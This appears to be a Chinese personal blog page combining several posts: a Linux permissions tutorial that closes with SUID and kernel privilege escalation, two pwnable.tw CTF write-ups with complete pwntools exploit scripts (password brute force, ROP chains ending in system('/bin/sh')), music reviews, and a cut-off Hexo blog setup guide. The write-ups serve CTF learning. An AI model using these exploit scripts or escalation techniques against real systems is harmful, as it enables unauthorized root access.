Cameudis' Blog

Binary Hack, Computer System, Music, and whatever

0%

Linux系列第一篇!
本期介绍Linux中的权限模型,从 ls -l 的解释一路科普到内核漏洞的利用(什么!)


由于 Linux 设计时是一个多用户系统,可能有很多人共用一个 Linux 系统,因此 Linux 中存在用户用户组的概念,每个用户或者用户组都有一个自己的 id,每个用户可以属于多个用户组。
有了用户之间的区分,就可以为文件设置权限,限制不应该访问的用户的访问,于是就有了权限系统。

用户和用户组这两个抽象的概念,其实主要体现在两个地方:

  • 进程系统:每个进程都有自己所属的用户和用户组
  • 文件系统:每个文件都有自己所属的用户和用户组,以及相应的读写权限设置

可以使用 getuid() 系列系统调用获取当前进程的用户 id,在 shell 里可以直接输入 id 查看当前 shell 进程的用户和用户组 id。(这里先不提及 id 的区别,后面再进行讲解)

文件系统中的权限模型

使用命令 ls -l 可以查看文件的详细信息,比如:

1
2
3
4
5
$ ll
drwxr-xr-x 4 cameudis cameudis 4096 Mar 24 2023 .cargo/
drwx------ 2 cameudis cameudis 4096 Nov 2 10:43 .ssh/
-rw-r--r-- 1 cameudis cameudis 4957 Oct 31 18:41 .bashrc
-rw-r--r-- 1 cameudis cameudis 619 Oct 31 10:11 memo.txt

我们以第一条为例:

文件类型 权限信息 连结数 拥有者 用户组 文件大小 修改日期 文件名
d rwxr-xr-x 4 cameudis cameudis 4096 Mar 24 2023 .cargo/

第一个字段文件类型包括以下这些(从这里也可以看到万物皆文件的思想):

字符 文件类型
- 普通文件
d 目录
| 符号链接
p named pipe
c 字符设备
b 块设备
s socket 文件

我们可以看到,每个文件都会有一个所属的用户、一个所属的用户组。相应地,一个文件的权限设置会有三档:对于所属用户的权限对于所属用户组中用户的权限对于其他用户的权限。在一些权限设置工具 chmod 中,这三者分别简称为 U G O,即 User、Group、Others。

ls -h 看到的信息中,我们看到的 rwxr--r-- 字符串,其实就类似一个 bit vector。前三个字符表示对于所属用户的权限,中间三个表示所属用户组中用户的权限,最后三个字符表示对于其他用户的权限。

比如,.cargo 目录归 cameudis 所有,那么 cameudis 作为拥有者,其权限是 rwx(Read、Write、eXecute);而另一个用户 Jern,若他不属于 cameudis 用户组,那么他的权限是 r--(Read only)。

你可能会好奇,为什么 Linux 下各种目录大小都显示为 4096:这是硬盘中用来存储目录 metadata 信息的大小,这些 metadata 有:
如果你需要计算目录大小,可以使用 du 指令,比如 du -sh /tmp

修改文件权限

一句废话就是:如果想要修改文件的权限,你必须拥有文件的权限。
在命令行中,我们最常使用的修改权限工具是 chmod

chmod 中,最简单的用法就是:chmod <+/-><r/w/x> <filename>,这样会给用户、组和其他人通通加上或减去某个权限,比如:chmod +x a.out 就能让所有人都获取执行该文件的权限。

在此基础上,还可以特别指定某一群体:chmod [ugoa...]<+/-><r/w/x> <filename>。比如 chmod u+x a.out 就可以只给拥有者执行该文件的权限。

不过,根据笔者观察,大家最常用的用法是直接使用数字指定。我们知道每个文件有三组权限,所以可以用三个 3 比特的值来分别表示一个文件的三组权限。在这个 3 比特的值中,约定最高位表示 r,中间一位表示 w,最后一位表示 x。所以,111 就对应 rwx010 就对应 -w-

然后,我们再将其写为 8 进制,111 就会变成 7(如果你硬要说是更大的进制也可以),这样我们就可以用一个阿拉伯数字表示一组权限。

再将其推广一下之后,就可以用三个数字表达三组权限,我们列出一些经常用到的权限作为例子:

权限编码 权限说明
755 rwxr-xr-x
600 rw——-
644 rw-r–r–
777 rwxrwxrwx

chmod 使用这种语法来让我们快速指定权限:chmod 755 ./a.out

冷知识:
在著名动漫《新世纪福音战士新剧场版》中,明日香操纵 EVA 二号机进入野兽模式时,使用的指令是 “Code 777”,这说明 EVA 二号机运行的是 Linux 操作系统⊂彡☆))∀`)
chmod 777

常见的文件权限
目录权限通常设置为755。其中7表示rwx,5表示rx。这里,x权限用于进入目录,r权限用于读取目录;换句话说,若去掉某个目录dir的x权限,则cd dir会报错;若去掉r保留x,则可以进入这个目录,但在目录中运行ls会出错;没有w权限,表示不能在目录中删除或新建文件。注意,删掉一个文件并不需要该文件的w权限,而只需要文件所在目录的w权限。一个文档文件的权限通常设置为422,即没有x权限。符号链接文件的权限为777,因为真正起作用的是链接所指向文件的权限。(来自银杏书

文件的权限被修改,对已被打开的文件会立即生效么?
考虑如下情况:在进程 A 打开某个文件时,该文件具有可写权限,因此进程 A 以可读可写权限打开了文件;然后,文件的权限被拥有者修改为只读,那么之后当进程 A 对文件进行写操作时,会成功还是失败呢?根据前一段的描述,进程 A 会一直拥有对文件的写权限,直到关闭该文件。若系统希望对文件的权限更新立即生效,则需要在更新权限的同时,遍历所有打开文件的 fd 并做相应的处理,例如直接关闭所有权限不匹配的 fd,这样进程 A 下次进行文件操作时就会出现错误。(来自银杏书

进程系统中的权限模型

每个进程都会有 UID 和 GID,且相关数据会继承给子进程(当然满足条件就可以修改自己的 UID 和 GID,只要符合一些要求,可以到对应系统调用的 man page 中查看具体要求):

1
2
3
4
5
6
7
$ cat getuid.c
int main() { printf("UID: %d\n", getuid()); }
$ gcc -w -o getuid ./getuid.c
$ id
uid=1000(cameudis) gid=1000(cameudis) groups=1000(cameudis),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
$ ./getuid
UID: 1000

一个进程并不是只有一个 UID(用户 ID)和一个 GID(用户组 ID),而是根据不同用途有多个。

在操作系统为进程准备的结构体中,一个进程包含如下几种 ID:

  • Effective(eUID、eGID):大多数权限检查都使用这两个 ID。
  • Real(UID、GID):真正的 ID,可能与 eUID、eGID 不同,用作信号检查等。
  • Saved:用于切换的 UID/GID,在临时降权的时候用到。

eUID 和 eGID 最为常用,进程是否能够打开文件等权限检查都使用 eUID 和 eGID,因此 id 指令默认显示的也是 eUID 和 eGID。(不过可以用 -r 参数指定显示 real UID/GID)。

SUID & SGID

之所以需要区分 effective ID 和 read ID,是因为在某些场景中,需要区分这两个 ID。我们设想这样一个场景(纯虚构,细节问题不要在意):

Jern 安装了一个 Web 服务器软件(假设服务器软件的所有者和用户组都是 Jern),想要让运维 Cameudis 也能够执行该软件,因此他就把软件文件的权限设置为 r-x
Cameudis 开心地启动!了 Web 服务器,但是访问网站时发现无法正常访问网页。

原来由 Cameudis 执行的 Web 服务器进程,其 eUID 和 eGID 都是 Cameudis 的,因此这个进程没办法访问 Jern 放在目录中的 html 网页文件!

为了解决场景中的这一问题,一个方法就是再给 Cameudis 目录中所有的文件的权限。但这种方法的缺陷在于,万一程序还需要访问未知位置的一些目录,我们可能不能一直及时地给 Cameudis 权限。
另一个方法就是将 Cameudis 加入 Jern 所在的用户组。这种方法挺好的,不过需要具体情况具体分析下加入之后有没有潜在危害。

此外,还有一种 Linux 提供的方法,这种机制允许用户在文件中加入 SUIDSGID 权限位(就和 RWX 一样),如下所示:

  • SUID (Set-UID):当前文件被执行时,以文件拥有者 UID 作为 eUID 而不是父进程的 eUID。
  • SGID (Set-GID):当前文件被执行时,以文件拥有组 GID 作为 eGID 而不是父进程的 eGID。

这里说当前文件被执行,显然默认了文件是可执行文件。不可执行文件被设置这两个位是可行的但并没有意义。

因此,Jern 可以给 Web 服务器的程序文件加上 SUID bit,这样 Cameudis 执行 Web 服务器时,服务器进程会以 Jern 的 eUID 运行,从而就能够访问所有 Jern 本人可以访问的文件。

一个具体的例子就是 sudo 程序,我们可以这样查看其权限信息:

1
2
3
4
which sudo       # which 让shell查找某个程序的具体位置
/usr/bin/sudo
$ ll /usr/bin/sudo
-rwsr-xr-x 1 root root 166056 Apr 4 2023 /usr/bin/sudo*

可以看到,sudo 的 U 权限是 rws,这里的 s 就表示 SUID。我们在执行 sudo 时,会以 root 用户的 eUID 执行,从而能够访问高权限的资源。

使用 chmod 给文件加 SUID 和 SGID 的方法:
chmod u+s <file>
chmod g+s <file>

Sticky bit

Sticky bit 主要用于目录,对于标记为 Sticky 的目录中的文件,只有文件的所有者与目录的所有者才能重命名或删除文件,其他行为则照常。

通常来说,我们用 Sticky bit 来保护一些共享的文件夹,这里的共享是指多个用户都会在这个文件夹中处理文件。比如,/tmp 文件夹就常常被置为 Sticky,来防止普通用户删除或者移动其他用户的文件:

1
2
$ ll /
drwxrwxrwt 74 root root 36864 Nov 6 14:09 tmp/

至于给非目录的普通文件置 Sticky bit,各类 Unix 系统的对待方式都不一样,比如 Linux 就是直接忽略置 Sticky 的文件。

使用 chmod 给文件加 Sticky 的方法:
chmod o+t <file>

特殊的存在 root

以上说的各种权限限制,都对 root 用户无效。作为 Linux 系统中的真神,root 用户和用户组都拥有特殊的 ID 0。通常为了使用 root 的力量,我们会借用 sudo 这个 SUID 程序。

root 用户可以:

  • 打开任何文件,包括 /proc 中一些高权限的文件如 kallsym
  • 执行任何程序
  • 切换到任何其他用户
  • 调试任何程序
  • 关机、重启
  • 加载设备驱动等内核模块
  • ……

简单来说,root 用户可以控制整个系统

由于 root 的力量过于强大,所以任何一个略有安全意识的人,在平时都不会以 root 用户的身份执行指令,除非必要。相关反例实在太多了,几乎每个默认 root 用户登录的人都会因此出现一些问题。(笑死)

既然 root 的力量如此强大,那么可想而知,如果黑客拿到了我们机器的 root 权限,那会是多么可怕的一场安全灾难。因此,接下来我们学习如何作为黑客拿到 root 权限。

权限提升(提权)

提权,一般就是指黑客将他们权限从普通用户提高到 root 的一类攻击,通常的提权流程是这样的:

  1. 在系统上初步站稳脚跟,比如通过有漏洞的程序拿到一个 shell(pwn!)
  2. 找到一个可以利用的高权限服务
  3. 利用那个高权限服务,借助它拿到权限

什么是可以利用的高权限服务呢?

  1. SUID 程序就是一种高权限的服务,如果它存在漏洞的话,我们就可以通过利用漏洞来达成提权,比如 sudo 就有过非常多的 CVE,可以攻击 sudo 的漏洞来拿到 root 权限。
  2. 有一些不必要有 SUID 的程序,如果能够以 root 权限运行的话,会带来令人意想不到的安全风险。
  3. 操作系统内核显然是最高权限运行的服务了,如果内核存在漏洞,同样可以帮助我们达成提权。这就是传说中的内核漏洞利用

前者比较容易理解,就是普通的用户态程序利用而已,因此本文中我们主要介绍后两者。

SUID 提权

如果你发现 mv 程序是 SUID 的,你可以做到哪些事情?
看起来我们只能移动一些文件,但实际上,每个常见 Linux 程序的功能都可能非常强大。比如就算是简单的 mv 指令,也可以做到彻底的提权。

mv 的提权方法,可以参考The Dark Side of mv Command. mv, short for MOVE has been one of the… | by Nikhil Jagtap | WorkIndia.in | Medium

更多 binary 的提权方法,可以见 GTFOBins

强烈推荐读者去 pwn.college 实地打几道题来试试看。

如果 /bin/sh 作为一个 SUID 程序运行,即 eUID 和 rUID 不同,那么它会主动降权限,将 eUID 设置成 rUID。这就是一种应对 SUID 提权的非常简单的缓解措施。
遇到这种情况,只要加上 -p 参数即可。

内核漏洞

我们知道,操作系统不过就是一个用户程序与资源的管理器而已,它同样也是一个由程序员写成的程序,操作系统也会有漏洞。

我们平常说的操作系统,通常包括了许多东西,比如桌面系统。不过,这里我们要关注的是一个操作系统真正重要的东西——内核kernel,台湾称为核心)。

内核是一个运行在更高级别的程序,我们刚刚提到的各种机制,包括文件系统、进程系统,这些系统的实现统统位于内核之中。比如我们刚刚提到了 eUID、Real UID,这些东西统统都是内核中为每个进程准备的结构体中的一个字段。

如果读者学过 OS,那么就会知道用户态程序和内核交互的最常见的方法就是通过系统调用。因此,如果系统调用涉及的某段代码中存在漏洞,我们就能从用户程序攻击内核。(这就是为什么内核 pwn 的 exp 都是一个 C 程序,自己编写软件来攻击内核显然是最方便的)

提权是攻击内核最常见的目的之一。如果我们控制了内核,比如劫持了控制流,我们就可以去调用内核中存在的函数,将当前进程的权限提高至 root。

具体来说,我们一般会控制内核执行 commit_creds(prepare_kernel_cred(0)),其中 prepare_kernel_cred(0) 会创建一个各个字段都是 0 的 cred 结构体,然后 commit_creds() 可以将当前进程的 cred 替换为参数。我们前面知道 root 拥有特殊的 id —— 0,因此调用完这两个函数后,就可以将进程权限切换为 root
此后进程就可以想干啥就干啥了,比如起一个 root shell。

当然,这里只是一个小科普,内核漏洞笔者还没有入门,希望读者里能有未来挖掘或利用内核漏洞的大能|∀`)


参考资料:pwn.college

本地打通了,远程……台湾太远了……爆破到一半就会不知道谁把我连接掐掉……

漏洞分析

本题主要有两个漏洞,一个是检查密码时,根据用户的输入的大小(strlen)作为 strncmp 的参数进行比较,然而这样会导致用户输入 NULL Byte 就通过检查,同时还允许了一字节一字节爆破得到正确的密码;甚至泄露密码后面的别的数据——在本题中就是程序基址。
另一个是一个没有检查大小的 strcpy。

漏洞利用

本题的流程就是先利用第一个漏洞来爆破得到栈上的密码以及 saved rbp,然后利用 strcpy 进行控制流劫持。由于 strcpy 限制 null byte 截断,所以我利用程序自己的 read wrapper 函数(CA0 处)来进行第二次写入,这次就可以写入 ROP chain。(这里调试得知 rdi 正好是栈上变量)
第一次写入 ROP chain,我泄露了 libc 的基址,让程序从 start 重头来过;第二次写入 ROP chain,我就直接执行 system("/bin/sh") 来拿到 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
def pwn():
# bruteforce password
password = b""
for i in range(0x10):
for ch in range(1, 0x100):
if ch == 0x0a:
continue
io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", password + bytes([ch]) + b'\0')
if b"Success" in io.recvline():
# print(ch)
password += bytes([ch])
io.sendlineafter(b">> ", b"1")
break
if len(password) != i + 1:
print("ERROR")
exit()
success("password: "+repr(password))
# pause()

# bruteforce saved rbp (progaddr)
progaddr = b""
for i in range(0x6):
for ch in range(1, 0x100):
if ch == 0x0a:
continue
io.sendafter(b">> ", b"1"*0x10)
io.sendafter(b"passowrd", password + b'1'*0x10 + progaddr + bytes([ch]) + b'\0')
if b"Success" in io.recvline():
# print(ch)
progaddr += bytes([ch])
io.sendafter(b">> ", b"1"*0x10)
break
if len(progaddr) != i + 1:
print("ERROR")
exit()
progaddr = unpack(progaddr+b'\0\0') - 0x1060
success("stackaddr: "+hex(progaddr))

my_read = 0xca0
io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", 0x10*b'\0'+0x30*b'a'+password+0x18*b'a' + pack(progaddr+my_read))
io.sendlineafter(b">> ", b"3")
io.sendafter(b"Copy :", b'a'*0x10)

# pause()

# ROP
start = 0xb70
pop_rdi = 0x10c3
payload = flat([
progaddr+pop_rdi,
progaddr+elf.got['puts'],
progaddr+elf.plt['puts'],
progaddr+start,
])

io.sendafter(b">> ", b"2"*0x10)
io.send(pack(progaddr)+b'a'*0x18+payload)

libcaddr = unpack(io.recvuntil(b"\n")[:-1]+b'\0\0') - libc.sym['puts']
success("libcaddr: "+hex(libcaddr))

# bruteforce password again
io.sendlineafter(b">> ", b"1")
password = b""
for i in range(0x10):
for ch in range(1, 0x100):
if ch == 0x0a:
continue
io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", password + bytes([ch]) + b'\0')
if b"Success" in io.recvline():
# print(ch)
password += bytes([ch])
io.sendlineafter(b">> ", b"1")
break
if len(password) != i + 1:
print("ERROR")
exit()
success("password: "+repr(password))
# pause()

io.sendlineafter(b">> ", b"1")
io.sendafter(b"passowrd", 0x10*b'\0'+0x30*b'a'+password+0x18*b'a' + pack(progaddr+my_read))
io.sendlineafter(b">> ", b"3")
io.sendafter(b"Copy :", b'a'*0x10)

# pause()

# ROP
io.sendafter(b">> ", b"2"*0x10)
io.send(pack(progaddr)+b'a'*0x18+pack(progaddr+pop_rdi)+pack(libcaddr+0x000000000018c177)+pack(libcaddr+libc.sym['system']))

io.interactive()

本题 neta 了星界边境,实现了一个简单的二维探索游戏。

1
2
3
4
5
6
7
[*] '/mnt/c/Projects/ctf_archive/[pwnable.tw]Starbound/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8047000)
FORTIFY: Enabled

漏洞分析

数组下标未检查导致的任意控制流劫持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char nptr[256]; // [esp+10h] [ebp-104h] BYREF

init();
while ( 1 )
{
alarm(0x3Cu);
menu_func_ptr();
if ( !readn(nptr, 256u) )
break;
v3 = strtol(nptr, 0, 10);
if ( !v3 )
break;
((void (*)(void))func_ptrs[v3])(); // 数组index溢出!
}
do_bye();
return 0;
}

在 main 函数中,有一个对于函数指针数组的调用,index 数据来自于用户输入经 strtol 转化成的数字。我们可以用 cmd_set_name 函数修改 data 段的数据,再让程序 call 我们控制的地址,达成 arbitary call。

利用

ROP 方法

有了任意调用,程序又没有开 PIE,接下来就是看看程序本体有哪些东西可以给我们来调用。
我在本体中,并没有找到 win 相关的函数,也没有找到导入的 system 符号,因此似乎没有简单的 ret2text 方法来完成一击必杀。

那就来打个 ROP 吧,我们可以直接用 main 函数 buffer 来存放 ROP 链,只要找一个类似于 add esp, xxx; ret; 的 gadget 即可。

使用这种方法,我们可以先用 puts 泄露 libc 基址,然后就能 system("/bin/sh") 了。具体利用见完整 EXP。
查 libc 版本用的是 libc-database,俄罗斯那个(libc.blukat.me)查到的结果贼少,不知道为什么。

路径穿越方法(存在利用条件限制)

ROP 方法是我不小心从网上看到的,唉我不应该上网查的。
不过我自己也想出了一个非常绝妙的利用,不需要用到 ROP!

我们已有的任意调用,其参数是固定好的,第一个参数是一个我们可控的字符串指针,第二个参数是 0。顺着这个思路,我们可以先看看程序本体中有哪些函数,其第一个参数是 char* 类型的。

首先,此类函数肯定是 printf 最常见也最好利用,我们可以用这种方法将任意调用宽展成任意读写,但程序开启了 FORTIFY 保护,里面甚至只有 _printf_chk 函数没有 printf 函数。两者的区别在于,后者其实是前者的一个 wrapper。
前者的第一个参数是一个安全等级,1 表示开启,0 表示关闭。当开启时,格式化字符串攻击将会被大大削弱,比如不能直接使用 %n$d 了,如果要用到这玩意,必须前面要有 %1$d %2$d%(n-1)$d 这些。
因此,这条路走不通。

但我们就可以找到另外两个首个参数的—— mkdiropen。既然有 open,就可以想想是不是能 orw 把 flag 读出来。但是,程序的漏洞处,相邻的两次触发之间隔了许多个函数调用,这就不允许我们把 open 返回值暂时放在寄存器中,这里就很难进行下一步操作。

但是,我把整个 binary 都审了一边,发现了一个有趣的机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int cmd_multiplayer_enable()
{
__pid_t v0; // esi
socklen_t len; // [esp+2Ch] [ebp-80h] BYREF
struct sockaddr addr; // [esp+32h] [ebp-7Ah] BYREF

if ( fd != -1 )
close(fd);
addr.sa_family = 1;
fd = socket(1, 2, 0); // UDP
if ( fd >= 0 )
{
...
}
puts("[Error] Fail to enable");
return close(fd);
}

cmd_multiplayer_enable 中,有对于一个全局变量 fd 的赋值。而我们知道,进程打开的第一个文件往往是接在 stderr 的后面,也就是 fd == 3。
我们可以观察到,程序在使用 close 关闭 fd 之后,并没有清空 fd 的值,也就是这里依然是 3。实际调用这个函数,发现程序肯定可以走到关闭 fd 的代码。

我们查找 fd 的应用,可以找到这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int cmd_multiplayer_recvmap()
{
...

v5 = getpid();
puts("Ask your friends to share their coordinates!");
v0 = 1;
while ( 1 )
{
if ( read(fd, buf, 1u) <= 0 )
return puts("[Error] Transmission error :(");
if ( buf[0] == '\n' )
break;
buf[0] = rotate_shift_add_decrypt(buf[0], &v5);
if ( v0 )
{
__printf_chk(1, "[Info] Receiving (");
v0 = 0;
}
putchar(buf[0]);
}

...
}

这里程序将会尝试从 fd 中读取内容,每一个字节都使用 rotate_shift_add_decrypt 函数进行加密,然后打印出结果。

于是我们可以想到一条利用链:

  1. 调用 cmd_multiplayer_enable,让 fd 被置为 3;
  2. 调用 open 函数打开 flag;
  3. 调用 rotate_shift_add_decrypt,读取加密后的 flag 并输出;
  4. 本地尝试暴力破解!

但我们会遇到一个问题:虽然我们可以控制第一个参数这个字符串,但是其开头被限制了是一个数字,因为我们就是用这个数字当作数组下标来实现任意调用的。
为此,我想到了一种借用 mkdir 来加强 open 的方法:

  1. 调用 mkdir("-33\0") 在当前目录创建名为 -33 的文件夹;
  2. 调用 open("-33/../flag\0") 打开任意目录下的 flag。

在本地,这种方法是可行的。然而,远程环境中执行 binary 的路径是根目录,而进程并没有在根目录创建文件夹的权限,因此这种方法很遗憾地失效了 : (

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/python3
from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
io = process([filename])
io = remote("chall.pwnable.tw", 10202)
elf = ELF(filename)

def debug():
g = gdb.attach(io, """
b *0x0804A65D
""")

def pwn():
# 0x08048e48 : add esp, 0x1c ; ret
add_esp_1c_ret = 0x08048e48

payload = flat([
elf.symbols['puts'], elf.symbols['_start'], elf.got['puts'],
])

io.sendlineafter(b">", b"6")
io.sendlineafter(b">", b"2")
io.sendlineafter(b"name", pack(add_esp_1c_ret))
io.sendafter(b">", b"-33\0dead"+payload)

mes = io.recvuntil(b"\xf7")[-4:]

libc_base = unpack(mes,32) - 0x5fca0
log.info("libc_base: " + hex(libc_base))
system_addr = libc_base + 0x3ada0
# system_addr = libc_base + 0x49670 # printf

payload = flat([
system_addr, elf.symbols['_start'], 0x080580D0+0x4,
])

io.sendlineafter(b">", b"6")
io.sendlineafter(b">", b"2")
io.sendlineafter(b"name", pack(add_esp_1c_ret)+b"/bin/sh\0")
io.sendafter(b">", b"-33\0dead"+payload)

io.interactive()

if __name__ == "__main__":
pwn()

反思和总结

函数数组和数组下标都是非常危险的东西——前者容易被劫持,后者容易超越边界。
本漏洞修补十分简单,只需要加上一个检查就可以了。

从这道题目的利用中,我们可以发现:任意调用与 gadget 结合或许可以轻松达成栈迁移,允许我们进行 ROP 攻击。

本人对音乐、乐理、电音制作等知识皆一窍不通,就是个臭打鼓的。因此本条博客是一个纯个人向音乐鉴赏与推荐!

Glitched Universe - 削除

链接:网易云
评语:世界纷繁错乱,但令人心潮澎湃的心愿永远存在。

[0:00 - 0:37 Build Up]

从空灵的女声开始,不断快速切入各种声部,包括富有动感的DnB鼓,极光般的弦乐,更具Glitch色彩的音效……然后在最后一小节提前爆发切入DROP!

[0:37 - 0:55 DROP]

宇宙,世界的绚烂。背景中心电图般爬升而又落下的像素音,坚定的女声与电声主旋律(这个lead我很喜欢),共同构成了这一副绚烂的图景!
(我真的很喜欢绚烂这个词)

[0:55 - 1:00]

DROP同样在最后一小节提前结束切入下段,但没有给人任何的失落感,而是让前后的衔接更加紧密,真是优秀的设计!这里是一个激烈的过渡段,用劲爆的节奏来为DROP收尾。

[1:00 - 1:24]

一个铺垫段,glitch噪音一直在耳边回响。电声乐器重复着变强又破碎(glitch音)的过程,好似恒星爆发又突然时光倒带。

[1:24 - 2:07 Build UP]

在刚才的基础上,似乎有了些规则的出现。glitch噪音不再是噪音,而是如同01的数据流一般;同时引入了些许钢琴旋律。

随后,又引入了心电图般爬升而又落下的像素音,以及隐隐约约渐强的DnB鼓。同时,lead变为了带一些glitch的像素音。情绪逐渐加强!

[2:07 - 2:13]

在我以为正要进入DROP时,旋律和节奏都突然停下了,取而代之的是一个持续的Glitch BASS。这时我仿佛来到了空旷无人的宇宙中,不见空间也不见时间。
随着BASS逐渐加强,流星般落下的音效出现,时间和空间逐渐回归。然后,在最后一小节提前切入——

[2:13 - 2:51 DROP]

整首曲子情感的爆发,重复了两遍的DROP让人感动。
再一次见证世界的绚丽

[2:51 - 3:00]

再次以激烈的节奏与电音为整首曲子收尾,让人意犹未尽,仍想再度踏上这次旅程。

Holy Night, Silent Night - Dachs

链接:网易云
风格:trance
评语:神一般的间奏,让人感动,和专辑封面一样美哭

[0:00 - 2:30]

开头仿佛是令人安心的冬夜,快要过圣诞了。抬头便可看到繁星流转于夜空。

[2:30 - 3:15 breakdown]

静谧的夜。情绪慢慢变得柔和,音乐逐渐无声……
柔和的钢琴响起,伴随着弦乐,仿佛回忆往昔时光,有着淡淡的伤感。

[3:15 - 3:56]

有力的钢琴伴随着诸多交响乐器逐渐加强,我们从回忆走出,镜头切换到身前,我们仿佛看到了奇迹——或是久别重逢、或者找回信仰。

[3:56 - 5:29]

极富力量感和动感的电音lead乐器将我们带回了现实,尽管主题是重复的,但这时的情感已经和 breakdown 之前不同了,这夜晚变得更加深沉。

[5:29 - 6:29 Epilogue]

尾声。

Noctambule - *-Teris.

链接:https://music.163.com/song?id=1974436463&userid=127208986
风格:garage house/jazz

一听到前奏就收藏了,感觉独特的jazz风电子音乐,处理地特别特别干净,作者太懂留白了。很多留白出会插入意想不到的乐器,有bass、有8-bit风电子乐器等等……

不过我最喜欢的还是 **[2:01 - 3:01]**,有种梦幻的感觉。

Random Access Memories - Daft Punk

链接:https://music.163.com/album?id=165455240&userid=127208986
风格:电子音乐

真的神专,每一首都值得反复听。随便挑一首特别喜欢的出来:Giorgio by Moroder,一首由采访起手的音乐,后面有点Trance的感觉,一步步铺垫情感,我就是被Trance给害了。
尤其是第一段落结束后( [4:59 - 5:15] ),在Giorgio说出:

Once you free your mind about a concept of harmony and of music being ‘correct’,
you can do whatever you want.
So nobody told me what to do, and there was no preconception of what to do.

之后,突然进了弦乐( [5:15 - 5:49] ),尽情表现着星空下的自由,然后主题再次回归,搭配弦乐,谁听了不会感动!

除了这段外,还有一个我很喜欢的细节——搓碟的声音和鼓的声音非常搭配地重叠在一起,非常独特的听感。
总之,我所说的神专,之所以是神,是因为它能带给我独特的体验,我相信它也能给其他听众带来不同的体验,所以大家都快去听。

干杯 - 五月天

链接:网易云
评语:神MV。和时间、人生有关的歌总是特别吸引人,7 years也是这样。

不剧透了,快去看MV!
唯一的缺陷就是音域太广了,我实在唱不了,不然每次KTV都要唱这首555

from Y to Y (乐队演奏) - ろじえも

链接:Bilibili
评语:神作,治愈系,给人以力量

鼓手对强弱的掌控实在是太好了,这样的演奏就好像是完美的,让人觉得这里就是这样最好,没别的更好了。
中间一段听得鸡皮疙瘩都起来了,impressive orz,本家和演奏都是绝对的神作。

你是否看到朋友开了微信公众号觉得很酷?你是否想分享自己的学习笔记、生活感想?你是否想拥有自己的个人主页?

那就一起来试试整个博客吧,反正是免费的不用花钱(<ゝω・)☆

方便起见,推荐在自己主系统上面配置博客,或者配置在WSL上。

软件安装

请参考官方文档 | Hexo,Windows安装Git时,全程保持默认选项即可。

注意,其中命令行指令需要在你安装系统的shell上执行。如果是Windows系统的话,需要使用刚刚安装的Git所附带的Git Bash。

静态网站生成

首先,在你电脑上挑一个喜欢的位置,我们会在这里存放博客的文件夹。

然后打开命令行,在这里输入(把 <folder> 替换成你想要的文件夹名):

1
2
3
$ hexo init <folder>
$ cd <folder>
$ npm install

完成后,这个目录的文件树如下:

1
2
3
4
5
6
7
8
.
├── _config.yml
├── package.json
├── scaffolds
├── source
| ├── _drafts
| └── _posts
└── themes

其中,比较重要的是配置文件 _config.yml 以及存放用户资源(文章、图片)的 source 文件夹。

接下来我们试着创建一篇文章,在当前目录下输入 hexo new <artical_name> (将 <article_name> 替换为你想要的博客标题),hexo会帮你在 source/_posts/ 目录生成一个新的文本文件。

接下来,用你喜欢的文本编辑器(或者markdown编辑器)打开这个文件,就可以使用markdown的语法来写文章啦!如果你之前没有接触过markdown的语法,可以参考一看就懂的Markdown入门语法笔记(整理自Markdown cheat sheet) - 知乎,说是语法其实就是普通的txt文本文件加上一些特殊的标记,特别简洁。

我校树洞也支持md语法,比如在一行字前面加上 # 和一个空格,就能够让它变特别大(一级标题)。

在编辑完成后,在命令行中输入指令 hexo g(g表示generate),hexo会根据当前的主题,将你写的文章转换成一个网页。然后我们再输入指令 hexo s(s表示server),hexo就会启动一个本地的web服务器,访问它给出的链接,就可以看到你的崭新的博客以及你刚写的一篇文章啦!

不过,这只是在本地的网站。接下来,我们会借助github提供的网站托管服务,将我们的网站发布在全球互联网上。

仓库配置

首先,你需要注册一个自己的github账号,记得取一个好记简洁的名字,因为github pages的默认域名就是你的名字。(之后也可以改)

之后我们会需要向github服务器提交我们的博客网站代码,而这背后是hexo通过git来完成的,git又会通过SSH来完成与github服务器的通信。配置属于你的SSH密钥,可以参考Github的官方教程Generating a new SSH key and adding it to the ssh-agent - GitHub Docs。我们生成ed25519算法的key就可以。

在生成并配置好你的密钥后,我们需要将公钥上传到你的github账户上。我们需要在github网站上,点击右上角的头像,找到Settings,然后在左边找到 SSH and GPG keys,点击 New SSH key。

然后我们需要 cat ~/.ssh/id_ed25519.pub ,将其中的内容复制到Key那里,并在Title那里为这个Key取一个名字。然后回到命令行,输入 ssh -T git@github.com,然后输入yes,看提示信息即可确认你有没有成功添加。

之后,我们还需要配置以下git的全局的个人信息,这样你在git提交代码时就会显示你的信息了。如果你用git和别人合作码代码,某次提交出了问题大家就知道应该拷打谁了。

1
2
$ git config --global user.name "cameudis"			// 你的用户名
$ git config --global user.email "xxx@xxx.com" // 你的邮箱

然后登上Github网页端,创建一个新的仓库,名字一定要设置为 你的用户名.github.io,权限选择公开。比如我的github用户名是Cameudis,我的仓库就名为 Cameudis.github.io,我的博客网址就会是 https://cameudis.github.io/ (网址URL是大小写无关的)。

创建完毕后,打开你的博客文件夹中的配置文件 _config.yml,翻到最底下,把deploy的配置改成这样:

1
2
3
4
deploy:
type: git
